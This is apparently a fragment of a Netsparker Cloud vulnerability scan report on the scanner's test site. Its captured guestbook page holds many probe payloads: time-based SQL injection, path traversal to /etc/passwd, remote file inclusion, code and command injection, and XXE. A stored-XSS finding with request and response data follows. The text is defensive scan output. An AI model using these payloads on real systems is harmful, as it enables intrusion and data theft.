\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

54.204.37.212/elmah.axd

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com/elmah.axd

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com/elmah.axd

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n o010_rdnxu6fs205cii4h6twxrrueb6x78mq9mcvhe0.r87.me\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.0.0.1/trace.axd

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

::1/trace.axd

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.100.11.2/trace.axd

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

54.204.37.212/trace.axd

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com/trace.axd

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.me/r/?id=o010_rdnxul9hklnexxypyeyuaiuqs3ia7je9ravkyo

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.me/r/?id=o010_rdnxurgpam8tzujbtumegwkkdc6fvw267oylwm

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com/trace.axd

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//o010_rdnxugbohtojdn6hayvvw3i1q1w1-323odja3y.r87.me

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

https://testsparker.com.r87.com/?

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//o010_rdnxubkktim9opehzsbyouvagdoce2diynegna.r87.me

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com.r87.com/?

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

o010_rdnxullmel2s_uzeaetww76tid6qsfrdpkiivi.r87.me

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com.r87.com/?

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

o010_rdnxu2syv-e7387wz5qeblecfvbiz3hnfsmhp4.r87.me

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

///r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/\\r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n ]>&lfi;\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n ]>&lfi;\r\n

\r\n
\r\n

r87.com/?https://testsparker.com/

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/?http://testsparker.com/

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

]>&lfi;

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

]>&lfi;

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?http://testsparker.com/

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:16 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:16 AM\r\n

\r\n

\r\n #{28275*28275-(13)}\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n ${28275*28275-(13)}\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n http://example.com/?\r\nns: netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:14 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

#{28275*28275-(13)}

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

${28275*28275-(13)}

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n r87.com/n\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:05 AM\r\n

\r\n

\r\n php://filter//resource=http://r87.com/n?\u0000.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:04 AM\r\n

\r\n

\r\n http://r87.com/n?.aspx\r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n http://r87.com/n?\u0000.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n hTTp://r87.com/n\r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://example.com/?\r\nns: netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+print localtime()*0+0xFFF9999-22+\"

\r\n

\r\n 8/23/2017 8:07:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+print localtime()*0+0xFFF9999-22+'

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n -1\" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+\"\r\n

\r\n
\r\n

eval('print localtime()*0+0xFFF9999-22')

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

print localtime()*0+0xFFF9999-22

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n -1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

[php]print(int)0xFFF9999-22;[/php]

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'{${print(int)0xFFF9999-22}}'

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

{php}print(int)0xFFF9999-22;{/php}

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+print(int)0xFFF9999-22+\"

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+print(int)0xFFF9999-22+'

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+print(int)0xFFF9999-22;//

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n -1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

print(int)0xFFF9999-22;

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Guestbook.aspx\u0000

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

print(int)0xFFF9999-22

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/n

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Guestbook.aspx

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

php://filter//resource=http://r87.com/n?\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

data:;base64,TlM3NzU0NTYxNDQ2NTc1

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/n?.aspx

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<% response.write(268409241-22) %>

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+response.write(268409241-22)+\"

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/etc/passwd

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+response.write(268409241-22)'

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

response.write(268409241-22)'

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

....//....//....//....//....//....//....//....//....//....//....//etc/passwd

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/n?\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd\u0000

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n '+((SELECT 1 FROM (SELECT SLEEP(25))A))+'\r\n

\r\n
\r\n

hTTp://r87.com/n

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file:///etc/passwd

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n ((SELECT 1 FROM (SELECT SLEEP(25))A))\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n |expr${IFS}268409241${IFS}-${IFS}2\r\n

\r\n
\r\n

/../../../../../../../../../../proc/version\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n 1));SELECT pg_sleep(25)--\r\n

\r\n
\r\n\t\t\t\t\r\n\t\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t
12
\r\n
\r\n\r\n\r\n
\r\n
\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"Unknown Injection Point","Value":"Netsparker did not carry out an attack for this page but identified output of a previously completed XSS attack. This might happen because Netsparker was run against this website before."}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected possible stored cross-site scripting, which allows an attacker to execute dynamic scripts (JavaScript, VBScript) in the context of the application.

This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by the user has been interpreted by HTML/JavaScript/VBScript within the browser. \"Permanent\" means that the attack will be stored in the backend system. In normal cross-site scripting, an attacker needs to e-mail the victim, but in a permanent cross-site scripting, an attacker can simply execute the attack and wait for users to see the affected page. As soon as someone visits the page, the attacker's stored payload will get executed.

Cross-site scripting targets the users of the application instead of the server. Although this is a limitation, since it only allows attackers to hijack other users' sessions, the attacker might attack an administrator to gain full control over the application.

","Impact":"
Stored XSS is a dangerous issue that has many exploitation vectors, some of which include:
  • User session sensitive information such as cookies can be stolen.
  • XSS can enable client-side worms which could modify, delete or steal other users' data within the application.
  • The website can be redirected to a new location, defaced or used as a phishing site.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"

The issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML, ensure all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters, with which you will populate a whitelist. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured whitelist libraries available for many different environments; good examples of these include OWASP Reform and Microsoft Anti cross-site scripting libraries.

","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/GuestbookList.aspx/%2522ns%253D%2522netsparker%25280x0043D4%2529","Type":"PossiblePermanentXss","Name":"[Possible] Stored Cross-site Scripting","Severity":"Important","Certainty":75,"Confirmed":false,"State":"Present","Classification":{"Owasp":"A3","Wasc":"8","Cwe":"79","Capec":"19","Pci31":"6.5.7","Pci32":"6.5.7","Hipaa":"164.308(a)"},"HttpRequest":{"Method":"GET","Content":"GET /GuestbookList.aspx/%2522ns%253D%2522netsparker%25280x0043D4%2529 HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[{"Name":"URI-BASED","Type":"FullUrl","Value":"/%2522ns%253D%2522netsparker%25280x0043D4%2529","Vulnerable":true}]},"HttpResponse":{"StatusCode":200,"Duration":2476.3554,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 813205\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 08:10:21 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n\r\n\r\n
\r\n\r\n\r\n\r\n\r\n
\r\n\r\n\t\r\n\t\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n \r\n\r\n

Last Comments

\r\n\r\n
\r\n\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\